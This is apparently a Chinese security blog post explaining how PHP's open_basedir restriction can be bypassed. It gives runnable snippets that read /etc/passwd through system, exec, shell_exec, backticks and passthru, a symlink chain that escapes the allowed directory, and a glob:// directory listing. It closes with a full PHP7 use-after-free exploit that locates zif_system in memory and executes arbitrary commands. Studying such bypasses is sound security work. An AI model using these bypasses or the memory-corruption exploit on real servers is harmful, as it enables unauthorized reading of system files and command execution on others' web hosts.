【open_basedir绕过】关于open_basedir绕过的一些思考

本文最后更新于:2021年9月10日晚上7点25分

什么是open_basedir?

open_basedir本质上是限制PHP程序所能操作的文件目录。(划重点:是PHP程序

举一个简单的例子,当我们将php.ini配置中的open_basedir设置为网站的默认站点目录时,就无法打开除了该目录下以外的文件。接下来做一个小实验:

首先将php.ini目录中的open_basedir修改为网站的默认站点目录,如下图:

image-20210910170358054

假设我们在网站的默认站点目录的test.php中内容如下:

1
2
<?php
highlight_file("/etc/passwd");

这个时候我们访问test.php,页面报错如下:

image-20210910170507689

很显然是被open_basedir限制了。

但是open_basedir本质上只能限制PHP程序,也就是无法限制外部的shell程序

我们接续将test.php中的内容调整如下:

1
2
<?php
system("cat /etc/passwd");

重新打开test.php页面可以看到,网页正常回显了/etc/passwd中的内容了

image-20210910170905715

两点注意:

  1. 如果想要open_basedir允许访问多个目录,目录之间用:隔开即可。例如:/www/root/:/www/admin/

  2. 对于open_basedir有一个注意点就是:open_basedir本质上限制的是前缀,举个例子就是,如果open_basedir后面的值内容为/www/root,这个时候如果有目录/www/root1,此时root1目录是不会受到open_basedir限制的。所以,在每个目录最后都带上斜杠相对更加保险。

至此,open_basedir的作用已经阐述的比较详细了,可以了解到,open_basedir本身存在的目的就是防止攻击者跨目录读取文件,然而即使是这样,我们依然有一些办法可以绕过这个open_basedir

命令执行函数绕过

上面有提到,可以使用system函数绕过open_basedir,但是命令执行函数可不止这一个,接下来将逐一做小实验,验证其他命令执行函数是否能绕过open_basedir

system eval exec shell_exec 反引号 passthru
是否能绕过 不确定

eval

由于eval本质上还是执行PHP语句,所以分以下两种情况:

  • 一种是执行的PHP语句用PHP程序读取文件
  • 另一种是执行的PHP语句用shell程序读取文件。

首先第一种测试代码如下:

1
2
<?php
eval("highlight_file('/etc/passwd');");

可以看到程序报错,因为受到了open_basedir的限制

image-20210910172413453

再是第二种测试代码如下:

1
2
<?php
eval("system('cat /etc/passwd');");

可以看到程序输出了/etc/passwd的内容

image-20210910172531875

exec

测试代码如下:

1
2
3
<?php
exec("cat /etc/passwd",$res);
print_r($res);

可以看到,也是可以正常执行的。

image-20210910172830396

shell_exec

测试代码如下:

1
2
<?php
echo shell_exec("cat /etc/passwd");

可以看到shell_exec也是可以的

image-20210910172951026

反引号

测试代码如下:

1
2
<?php
echo `cat /etc/passwd`;

反引号和shell_exec本质上是一样的,所以反引号也可以。

image-20210910173139442

passthru

测试代码如下:

1
2
<?php
passthru("cat /etc/passwd");

可以看到passthru也是可以的。

image-20210910173313341

symlink绕过

首先先了解一下symlink函数:

image-20210910175339972

测试代码如下:

1
2
3
4
5
6
7
<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
?>

此时就会在当前目录下生成一个uploads指向uploads.php的软链

image-20210910175606260

接下来实验开始:

首先网站的根目录地址为:/www/admin/localhost_80/wwwroot

设置的open_basedir为网站的根目录:/www/admin/localhost_80/wwwroot

test.php的内容如下:

1
2
3
4
5
<?php
symlink("abc/abc/abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

先访问test.php,然后再访问127.0.0.1/exploit,得到的结果如下:

image-20210910180903721

可以看到,此时脱离了open_basedir的限制,成功的访问到了/etc/passwd

具体原理如下:

  1. 首先我们设置tmplink指向abc/abc/abc/abc/abc/abc,这一个操作对于open_basedir是合法的,因为操作的文件仍然还在网站的根目录下。
  2. 然后我们再设置exploit指向tmplink/../../../../../etc/passwd,相当于我们设置exploit指向./etc/passwd
  3. 此时我们再删除软链tmplink,然后再创建一个目录tmplink,这个时候我们再访问exploit的时候,相当于访问tmplink/../../../../../etc/passwd,也就是访问到了/etc/passwd

可以看到,经过这么一系列的操作下来,全程没有破坏open_basedir的规则,同时也达到了我们读取open_basedir目录以外的文件。

glob协议

除了上方的这种不走寻常路的操作,其实还可以利用PHP现有的协议绕过open_basedir,就比如glob协议

需要注意的是,glob协议在筛选目录的时候是不受到open_basedir的限制的

首先test.php代码如下:

1
2
3
4
5
6
7
8
9
<?php
$a = "glob:///*";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo "filename:".$file."\n";
}
closedir($b);
}
?>

我们还是访问test.php

image-20210910182510587

可以看到同样是可以绕过open_basedir

其他一些脚本

除了上面这几种方法,其实还有一些脚本也同样可以实现,由于能力有限,这里就直接放出脚本的POC,展示一下执行结果,作为参考。

注意:该脚本需要PHP7环境

脚本来源:exploits/exploit.php at master · mm0r1/exploits (github.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php

function Test($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

Test("cat /etc/passwd");ob_end_flush();
?>

执行的结果如下:

image-20210910185504506

参考资料